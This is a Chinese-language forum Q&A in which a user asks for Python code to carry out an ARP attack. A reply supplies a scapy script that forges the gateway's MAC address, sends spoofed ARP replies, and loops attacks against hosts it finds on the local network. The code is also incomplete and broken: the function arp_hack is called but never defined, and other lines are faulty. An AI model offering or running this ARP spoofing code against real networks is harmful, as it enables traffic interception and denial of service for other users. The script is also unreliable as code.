python网络编程写arp攻击代码
我们在windows上用python写网络通信的代码时,python的网络编程的模块似乎调用的是windows的winsock库,而利用winsock库对socket头进行写的操作最多只能去写IP数据报的头,而无法去写frame的头,如何去利用python去写链路层层面的arp攻击代码,求代码,求相关库
maroon5
12 years, 6 months ago
Answers
from scapy.all import ARP,send,arping
import sys,re,random,time
stdout=sys.stdout
#ip
IPADDR="192.168.1.102"
#网关
gateway_ip="192.168.1.1"
tmp=[]
#伪造网关mac地址
for i in range(0,6):
tmp.append(str("%02x"%random.randint(0x01,0xfe)))
gateway_hw=':'.join(tmp)
p=ARP(op = 2,hwsrc = gateway_hw,psrc = gateway_ip)
def get_host():
#得到在线主机的mac地址和对应ip地址
hw_ip = {}
sys.stdout = open('host.info','w')
arping(IPADDR)
sys.stdout = stdout
f = open('host.info','r')
info = f.readlines()
f.close
del info[0]
del info[0]
for host in info :
temp = re.split(r'\s+',host)
hw_ip[0]=temp[1]
hw_ip[1]=temp[2]
return hw_ip
if __name__ == "__main__":
hw_ip = get_host()
while 1 :
arp_hack(hw=hw_ip[0],ip=hw_ip[1])
Crow黑羽
answered 12 years, 6 months ago